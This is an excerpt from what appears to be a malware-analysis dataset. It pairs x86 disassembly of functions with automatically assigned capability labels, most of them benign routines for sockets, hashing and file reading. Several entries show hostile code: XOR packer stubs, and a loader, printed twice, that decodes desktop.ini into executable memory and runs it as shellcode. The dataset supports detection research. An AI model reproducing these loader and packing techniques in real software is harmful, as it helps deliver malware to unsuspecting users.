joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4465a0
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov dword [ebp - 8], ecx
mov eax, dword [ebp + 0xc]
cdq
mov ecx, 0x64
idiv ecx
cmp eax, 2
je 0x4465e0
push str.Couldnt_set_desired_mode
mov edx, dword [ebp - 8]
push edx
call fcn.004224c0
add esp, 8
mov eax, 0x11
jmp 0x44665b
cmp dword [ebp + 0xc], 0xc8
je 0x4465fe
mov eax, dword [ebp + 0xc]
push eax
push str.Got_a__03d_response_code_instead_of_the_assumed_200_n
mov ecx, dword [ebp - 8]
push ecx
call fcn.00422440
add esp, 0xc
cmp dword [ebp + 0x10], 0x13
jne 0x446615
mov edx, dword [ebp + 8]
push edx
call fcn.00444530
add esp, 4
mov dword [ebp - 4], eax
jmp 0x446658
cmp dword [ebp + 0x10], 0x14
jne 0x44662c
mov eax, dword [ebp + 8]
push eax
call fcn.00446670
add esp, 4
mov dword [ebp - 4], eax
jmp 0x446658
cmp dword [ebp + 0x10], 0x15
jne 0x446643
mov ecx, dword [ebp + 8]
push ecx
call fcn.00446830
add esp, 4
mov dword [ebp - 4], eax
jmp 0x446658
cmp dword [ebp + 0x10], 0x16
jne 0x446658
mov edx, dword [ebp + 8]
push edx
call fcn.00446860
add esp, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x447120
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x194]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 0x20], 0x10
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x44717d
mov dword [ebp - 0x20], 0x10
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WS2_32.dll_accept]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004281f0
add esp, 8
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4471ae
push str.Error_accept__ing_server_connect
mov eax, dword [ebp - 4]
push eax
call fcn.004224c0
add esp, 8
mov eax, 0x1e
jmp 0x447240
push str.Connection_accepted_from_server_n
mov ecx, dword [ebp - 4]
push ecx
call fcn.00422440
add esp, 8
mov edx, dword [ebp + 8]
mov dword [edx + 0x3c8], 0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [eax + 0x194], ecx
push 1
mov edx, dword [ebp - 0xc]
push edx
call fcn.00458aa0
add esp, 8
mov eax, dword [ebp + 8]
mov dword [eax + 0x1a4], 1
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x1a8], 0
je 0x44723e
mov dword [ebp - 0x24], 0
push 1
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x1ac]
push ecx
mov edx, dword [ebp - 4]
call dword [edx + 0x1a8]
add esp, 0xc
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x44723e
mov eax, dword [ebp + 8]
push eax
call fcn.00445350
add esp, 4
mov eax, 0x2a
jmp 0x447240
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x456dd0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
push esi
push edi
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCRT.dll_getenv]
add esp, 4
mov dword [ebp - 0x108], eax
mov byte [ebp - 0x104], 0
cmp dword [ebp - 0x108], 0
je 0x456e18
push 0x104
lea ecx, [ebp - 0x104]
push ecx
mov edx, dword [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
movsx eax, byte [ebp - 0x104]
test eax, eax
je 0x456e3b
lea ecx, [ebp - 0x104]
push ecx
call dword [0x477800]
add esp, 4
mov dword [ebp - 0x10c], eax
jmp 0x456e45
mov dword [ebp - 0x10c], 0
mov eax, dword [ebp - 0x10c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x458aa0
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
xor eax, eax
cmp dword [ebp + 0xc], 0
setne al
mov dword [ebp - 4], eax
lea ecx, [ebp - 4]
push ecx
push 0x8004667e
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_ioctlsocket]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x45c5a0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
mov eax, dword [ebp + 8]
mov byte [eax], 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_gethostname]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
add eax, dword [ebp + 0xc]
mov byte [eax - 1], 0
cmp dword [ebp - 4], 0
je 0x45c5d5
mov eax, dword [ebp - 4]
jmp 0x45c5f5
push 0x2e
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x45c5f3
mov edx, dword [ebp - 8]
mov byte [edx], 0
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x45c660
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using des via winapi
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
push edi
mov dword [ebp - 0x20], 8
push 0xf0000000
push 1
push 0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x45c690
xor eax, eax
jmp 0x45c749
push 0x14
push 0
lea ecx, [ebp - 0x1c]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov byte [ebp - 0x1c], 8
mov byte [ebp - 0x1b], 2
mov dword [ebp - 0x18], 0x6601
mov dword [ebp - 0x14], 8
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp + 0x10]
push eax
call fcn.0045c750
add esp, 8
push 8
lea ecx, [ebp - 0x10]
push ecx
call fcn.00463d50
add esp, 8
lea edx, [ebp - 8]
push edx
push 0
push 0
push 0x14
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x45c700
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
jmp 0x45c749
push 8
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov edx, dword [ebp - 0x20]
push edx
lea eax, [ebp - 0x20]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 0
push 0
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x45c930
Capabilities:
Hash data using md4
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
push edi
mov eax, dword [ebp + 0xc]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
shl ecx, 1
push ecx
call dword [0x4777f4]
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x45c96a
mov eax, 0x1b
jmp 0x45ca32
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.0045ca40
add esp, 0xc
mov dword [ebp - 0xc], 0
cmp dword [ebp - 0xc], 0
je 0x45c993
mov eax, dword [ebp - 0xc]
jmp 0x45ca32
push 0xf0000000
push 1
push 0
push 0
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x45ca10
lea eax, [ebp - 0x14]
push eax
push 0
push 0
push 0x8002
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x45ca04
mov dword [ebp - 0x18], 0x10
push 0
mov edx, dword [ebp - 4]
shl edx, 1
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
push 0
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp + 0x10]
push eax
push 2
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 5
push 0
mov ecx, dword [ebp + 0x10]
add ecx, 0x10
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edx, dword [ebp - 8]
push edx
call dword [0x4777f8]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x460ff0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
xor edx, edx
cmp dword [ecx + 4], 3
sete dl
mov dword [ebp - 8], edx
cmp dword [ebp - 8], 0
je 0x461041
mov eax, dword [ebp + 8]
cmp dword [eax + 0xc], 0
jne 0x461020
xor eax, eax
jmp 0x4610ca
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov eax, dword [edx + 8]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
push 1
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
call dword [eax + 0xc]
add esp, 0x10
mov dword [ebp - 4], eax
jmp 0x461092
mov ecx, dword [ebp + 8]
cmp dword [ecx + 8], 0
jne 0x461075
push 0x469e08
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov ecx, dword [eax + 8]
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov edx, dword [ebp + 8]
mov dword [edx + 8], eax
mov eax, dword [ebp + 8]
cmp dword [eax + 8], 0
jne 0x461075
or eax, 0xffffffff
jmp 0x4610ca
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 8]
push edx
mov eax, dword [ebp + 0x10]
push eax
push 1
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4610c7
mov edx, dword [ebp + 8]
cmp dword [edx + 8], 0
je 0x4610bb
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
push ecx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov edx, dword [ebp + 8]
mov dword [edx + 8], 0
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [ebp + 8]
mov eax, dword [ecx]
mov dword [edx], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
pop eax
nop
nop
nop
nop
add eax, 0x40729f
nop
nop
sub eax, 0x407245
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
popal
jmp 0x431219

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43200c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x10001000
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov dword [eax + 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
mov dword [edx + 8], eax
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, dword [ebp - 4]
mov dword [edx], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
je 0x10001071
mov ecx, dword [ebp - 4]
cmp dword [ecx + 8], 0
je 0x10001071
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
test eax, eax
jne 0x1000105a
jmp 0x10001071
mov eax, dword [ebp - 4]
add eax, 0xc
push eax
push 0x40
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 8

Function at 0x10002fa0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x1015bc40]
xor eax, ebp
mov dword [ebp - 4], eax
movups xmm0, xmmword [str._pipediscord_ipc_0]
mov eax, dword [0x10123948]
push ebx
push esi
push edi
push 0
push 0
mov dword [ebp - 0xc], eax
mov esi, ecx
mov ax, word [0x1012394c]
push 3
movups xmmword [ebp - 0x34], xmm0
push 0
movups xmm0, xmmword [0x10123930]
mov word [ebp - 8], ax
mov eax, 0x30
push 0
mov word [ebp - 0xa], ax
lea eax, [ebp - 0x34]
movups xmmword [ebp - 0x24], xmm0
push 0xc0000000
movq xmm0, qword [0x10123940]
push eax
movq qword [ebp - 0x14], xmm0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
jne 0x10003070
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
call edi
cmp eax, 2
jne 0x10003039
mov ax, word [ebp - 0xa]
cmp ax, 0x39
jae 0x10003086
inc ax
mov word [ebp - 0xa], ax
jmp 0x1000304f
cmp eax, 0xe7
jne 0x10003086
push 0x2710
lea eax, [ebp - 0x34]
push eax
call ebx
test eax, eax
je 0x10003086
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
je 0x10003020
pop edi
mov byte [esi], 1
mov al, 1
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100d04ae
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100d04ae
mov esp, ebp
pop ebp
ret
Function at 0x10003190
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd20
mov eax, dword [0x1015bc40]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0x104
lea eax, [ebp - 0x30c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
push 0
mov dword [ebp - 0xd20], eax
lea eax, [ebp - 0xd14]
push eax
push 0
push 0x20006
push 0
push 0
push 0
lea eax, [ebp - 0x50c]
mov dword [ebp - 0xd1c], 0
push eax
push reloc.WS2_32.dll_accept
call ebx
test eax, eax
jne 0x10003347
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebp - 0x104]
push edi
push eax
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
inc eax
add eax, eax
push eax
lea eax, [ebp - 0x104]
push eax
push 1
push 0
push 0
push dword [ebp - 0xd14]
call edi
lea eax, [ebp - 0x104]
push eax
call esi
push 2
lea eax, [ebp - 0xd1c]
push eax
push 1
push 0
push str.URL_Protocol
push dword [ebp - 0xd14]
call edi
mov eax, dword [ebp - 0xd14]
lea ecx, [ebp - 0xd10]
push 0
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.DefaultIcon
push eax
mov dword [ebp - 0xd18], eax
mov dword [ebp - 0xd10], 0
call ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x100032c3
mov eax, dword [ebp - 0xd20]
lea eax, [eax*2 + 2]
push eax
lea eax, [ebp - 0x30c]
push eax
push 1
push 0
push 0
push dword [ebp - 0xd10]
call edi
mov eax, dword [ebp - 0xd10]
test eax, eax
je 0x100032c3
cmp eax, dword [ebp - 0xd18]
je 0x100032c3
push eax
call esi
lea eax, [ebp - 0xd0c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0
lea ecx, [ebp - 0xd10]
mov dword [ebp - 0xd10], 0
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
lea edi, [eax + 1]
mov eax, dword [ebp - 0xd14]
push str.shellopencommand
push eax
mov dword [ebp - 0xd18], eax
call ebx
test eax, eax
jne 0x1000333d
lea eax, [edi + edi]
push eax
lea eax, [ebp - 0xd0c]
push eax
push 1
push 0
push 0
push dword [ebp - 0xd10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0xd10]
test eax, eax
je 0x1000333d
cmp eax, dword [ebp - 0xd18]
je 0x1000333d
push eax
call esi
push dword [ebp - 0xd14]
call esi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.100d04ae
mov esp, ebp
pop ebp
ret
Function at 0x100033e0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa94
mov eax, dword [0x1015bc40]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x44]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push edi
mov edi, dword [ebp + 0xc]
push 0x20
push ecx
push 0xffffffffffffffff
push eax
push 0
push 0xfde9
call esi
push 0x20
lea eax, [ebp - 0x84]
push eax
push 0xffffffffffffffff
push edi
push 0
push 0xfde9
call esi
lea eax, [ebp - 0x290]
push eax
push 0x20019
push 0
push str.SoftwareValveSteam
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100034cc
lea eax, [ebp - 0x294]
mov dword [ebp - 0x294], 0x208
push eax
lea eax, [ebp - 0x28c]
push eax
push 0
push 0
push str.SteamExe
push dword [ebp - 0x290]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x290]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x100034cc
mov ecx, dword [ebp - 0x294]
cmp ecx, 1
jb 0x100034cc
shr ecx, 1
mov eax, esi
je 0x100034b9
lea edx, [esi + 0x5c]
cmp word [ebp + eax*2 - 0x28c], 0x2f
jne 0x100034b4
mov word [ebp + eax*2 - 0x28c], dx
inc eax
cmp eax, ecx
jb 0x100034a1
lea eax, [ebp - 0xa94]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.10003190
add esp, 8
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.100d04ae
mov esp, ebp
pop ebp
ret
Function at 0x10004f90
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push 0x1013df00
push 0x64
call fcn.100d04fa
mov esi, eax
add esp, 8
test esi, esi
je 0x10005128
push 0x64
push 0
push esi
call fcn.100ed000
mov byte [esi], 1
lea eax, [esi + 0x34]
xorps xmm0, xmm0
movups xmmword [esi + 0x10], xmm0
push eax
movq qword [esi + 0x20], xmm0
mov dword [esi + 0x28], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x2c], 0xffffffff
mov dword [esi + 4], 2
mov dword [esi + 0x30], 0
call fcn.100d206a
xorps xmm0, xmm0
mov dword [0x1018492c], esi
add esp, 0x10
movq qword [esi + 0x5c], xmm0
cmp dword [ebp + 0x10], 0
mov esi, dword [ebp + 8]
je 0x10005036
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x1000502b
cmp byte [eax], 0
je 0x1000502b
push eax
push esi
call fcn.100033e0
jmp 0x10005033
push 0
push esi
call fcn.10003360
add esp, 8
call sub.KERNEL32.dll_GetCurrentProcessId
push 0x1015a038
mov dword [0x10184928], eax
call fcn.100d1ebe
add esp, 4
test eax, eax
jne 0x10005137
cmp dword [0x1015a064], 0x7fffffff
je 0x1000513e
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x1000507d
movups xmm0, xmmword [eax]
movups xmmword [0x101802d8], xmm0
movq xmm0, qword [eax + 0x10]
jmp 0x10005087
xorps xmm0, xmm0
movups xmmword [0x101802d8], xmm0
movq qword [0x101802e8], xmm0
xorps xmm0, xmm0
push 0x1015a038
movups xmmword [0x101802f0], xmm0
movq qword [0x10180300], xmm0
call fcn.100d1ecf
add esp, 4
cmp dword [0x101802d4], 0
jne 0x10005132
push esi
call fcn.100064f0
mov dword [0x101802d4], eax
mov dword [eax + 8], 0x100034e0
mov eax, dword [0x101802d4]
mov dword [eax + 0xc], 0x10003500
mov al, 1
mov esi, dword [0x1018492c]
xchg byte [esi], al
push 4
call fcn.100d04bc
add esp, 8
test eax, eax
je 0x100050f1
mov dword [eax], esi
jmp 0x100050f3
xor eax, eax
lea ecx, [ebp - 4]
push ecx
push 0
push eax
push 0x10003550
push 0
push 0
call fcn.100f0646
mov ecx, eax
add esp, 0x18
mov dword [ebp - 8], ecx
test ecx, ecx
je 0x10005154
cmp dword [esi + 0x60], 0
jne 0x1000514f
mov eax, dword [ebp - 4]
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
pop esi
mov esp, ebp
pop ebp
ret
mov dword [0x1018492c], 0
pop esi
mov esp, ebp
pop ebp
ret
push 5
call fcn.100d2574
push 6
mov dword [0x1015a064], 0x7ffffffe
call fcn.100d2574
call fcn.100f0445
push 6
mov dword [ebp - 4], 0
call fcn.100d2574
int3